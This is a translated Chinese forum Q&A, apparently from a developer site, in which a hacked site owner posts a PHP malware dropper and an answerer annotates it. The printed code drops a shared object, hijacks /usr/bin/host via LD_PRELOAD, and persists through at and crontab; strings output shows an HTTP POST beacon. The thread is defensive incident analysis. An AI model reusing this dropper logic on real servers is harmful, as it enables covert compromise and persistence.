我已经被黑客攻击，现在我有一个奇怪的PHP文件。它在干什么？

所以我刚才被黑客攻击了，现在我的文件管理器中有一个奇怪的PHP文件。这是它的内容：

<?php
@touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (! $f)
            return false;
        $bytes = fwrite($f, $data);
        fclose($f);
        return $bytes;
    }
}
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;
if (intval("9223372036854775807") == 2147483647)
    $arch = 32;
$so = $arch == 32 ? $so32 : $so64;
$f = fopen("/usr/bin/host", "rb");
if ($f) {
    $n = unpack("C*", fread($f, 8));
    $so[7] = sprintf("%c", $n[8]);
    fclose($f);
}
$n = file_put_contents("./jquery.so", $so);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
@chmod("1.sh", 0777);
@system("at now -f 1.sh", $ret);
if ($ret == 0) {
    for ($i = 0; $i < 5; $i++) {
        if (! @file_exists("1.sh")) {
            print "AT success\n";
            exit(0);
        }
        sleep(1);
    }
}
@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
    for ($i = 0; $i < 62; $i++) {
        if (! @file_exists("1.sh")) {
            print "CRONTAB success\n";
            exit(0);
        }
        sleep(1);
    }
}
@system("./1.sh");
@unlink("1.sh");
?>

---

我试图分析代码。看看这个，看看我对shell脚本“1.sh”的评论。在我看来，删除PHP脚本是不够的

<?php

//probably the attacker wants to check that the script works.
@touch("index.html");
header("Content-type: text/plain");
print "2842123700\n";

//redefine file_put_contents if doesn't exist
if (! function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (! $f)
            return false;
        $bytes = fwrite($f, $data);
        fclose($f);
        return $bytes;
    }
}

//kill all running instances of host command. "host" command is used for DNS lookups among other things.
@system("killall -9 ".basename("/usr/bin/host"));

//32 bit
$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x ... ETC ...";

//64 bit
$so64 = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x78\x13\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ ...ETC...";
$arch = 64;

//decide on the architecture based on the value of max int
if (intval("9223372036854775807") == 2147483647)
    $arch = 32;

//the hex based on architecture. "so" probably contains a function() used by "host". The attacker is replacing it later before running "host" command.    
$so = $arch == 32 ? $so32 : $so64;

//read 8 bytes from "host" binary file, and unpack it as an unsigned char.
$f = fopen("/usr/bin/host", "rb");
if ($f) {

    //n is an array of unsigned chars. Each array item can be (0-255)
    $n = unpack("C*", fread($f, 8));

    //convert to ascii, and replace the 7th character in the string with a value obtained from "hosts" binary file.
    //This vale from "hosts" will be specific to current server/environment - set during compilation/installation. 
    //NOTE: The contents of "so" string, will be written to a new file "jquery.so".
    $so[7] = sprintf("%c", $n[8]);


    fclose($f);
}

//the shared object
$n = file_put_contents("./jquery.so", $so);

//The shared object "jquery.so" uses an environment variable named "AU". It's more clear later.
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];

//should give "host"
$HBN=basename("/usr/bin/host");

//current dir
$SCP=getcwd();


//Examining the following line, here's what it writes to 1.sh
@file_put_contents("1.sh", "#!/bin/sh\ncd '".$SCP."'\nif [ -f './jquery.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./jquery.so\n/usr/bin/host\nunset LD_PRELOAD\ncrontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n");
    /*
    * #!/bin/sh
    * cd '/path/to/1.sh'
    * if [ -f './jquery.so' ];then 
    * killall -9 host;
    * export AU='MYSERVER.COM/THE/REQUEST/URI'  //this will be referenced in "jquery.so"
    * export LD_PRELOAD=./jquery.so //load the shared object before executing "host" command. THIS IS THE CORE OF THE ATTACK. Load the attacker's shared object(which contains his function, lets call it "xyz") before executing "host" command.
    * /usr/bin/host //execute. At that point, if "host" is making use of function "xyz", it would have been replaced by malicious "xyz" from "jquery.so" And since you don't know what the attacker function is actually doing, you should assume YOUR SYSTEM IS COMPROMISED.
    * unset LD_PRELOAD
    * crontab -l|grep -v '1\.sh'|grep -v crontab|crontab //not sure about this.
    * fi
    * rm 1.sh //remove
    * exit 0
    */


@chmod("1.sh", 0777);
@system("at now -f 1.sh", $ret); //execute 1.sh. It will be deleted once it's executed as per the "rm" statement.
if ($ret == 0) {

    //try for 5 seconds until the file is deleted (hence executed). If so, then all good.
    for ($i = 0; $i < 5; $i++) { 
        if (! @file_exists("1.sh")) {
            print "AT success\n";
            exit(0);
        }
        sleep(1);
    }
}

//another attempt to execute the file in case the above failed.
@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {

    //keep trying for 60 seconds until the file is deleted (as per the crontab setup.)
    for ($i = 0; $i < 62; $i++) {
        if (! @file_exists("1.sh")) {
            print "CRONTAB success\n";
            exit(0);
        }
        sleep(1);
    }
}

//the last resort if the previous execute attempts didn't work.
@system("./1.sh");
@unlink("1.sh");
?>

正如你所看到的，他的黑客似乎使用了很多功能，包括他在某处做POST请求。当然，不可能从上面找出答案，但可以给你一些线索

如果您想进一步了解这一点，可以查看和ELF反编译器。但我怀疑你能否得出任何结论。我不是专家，但我的建议是继续监控您的网络活动，以了解任何异常情况

“file”命令为您提供有关文件的一些信息，因此ELF反编译程序

$ file ./jquery..so
Output:
    ./jquery.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped

你甚至可能被一个shell感染。你需要找出文件是如何到达那里的，关闭漏洞，然后重新安装整个帐户/服务器。你在WordPress上吗？不管它是什么，它都是在你的服务器上创建或试图创建cron作业的。可能对其他服务器进行暴力攻击或DDOS攻击。您的系统可能是自有的。你需要做一个比删除PHP文件更彻底的清理工作。你能给我们提供完整的十六进制字符串吗？谢谢，我们是在DirectAdmin上运行的，所以它不会影响其他人。我不知道攻击的程度以及谁会受到影响。这取决于您的基础设施以及其他方面。我用更多的信息更新了答案。系统管理员可能会提供更多帮助。如果您想在运行host命令时复制该行为，则需要执行以下操作：“export LD_PRELOAD=jquery.so；/usr/bin/host；”并查看Wireshark中的内容。但这只会显示发出的HTTP请求。
$ strings ./jquery.so
Output:
    write
    unlink
    pthread_mutex_lock
    pthread_mutex_unlock
    gettimeofday
    free
    realloc
    strdup
    read
    getaddrinfo
    freeaddrinfo
    socket
    setsockopt
    connect
    malloc
    mmap
    munmap
    usleep
    strcmp
    dlclose
    pthread_join
    __errno_location
    strncmp
    sprintf
    strcpy
    time
    vsnprintf
    strcat
    strstr
    atoi
    strchr
    dlopen
    dlsym
    pthread_create
    srandom
    lseek
    ftruncate
    umask
    setsid
    chroot
    _exit
    signal
    fork
    dladdr
    realpath
    getpid
    execl
    wait
    getsockname
    getenv
    geteuid
    unsetenv
    popen
    fgets
    fclose
    QQRW
    1c2#N
    v[uq
    M!k(q.%
    jc[Sj
    F,%s,%x
    R,%d,%d,%d,%s,%s,
    P,%u,%u,%u,%u,%u
    POST %s HTTP/1.0
    Host: %s
    Pragma: 1337
    Content-Length: %d
    core
    %s/%s
    |$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
    /dev/null
    %s/%c.%d
    (null)
    ROOT
    LD_PRELOAD
    /usr/bin/uname -a
    /tmp

$ file ./jquery..so
Output:
    ./jquery.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped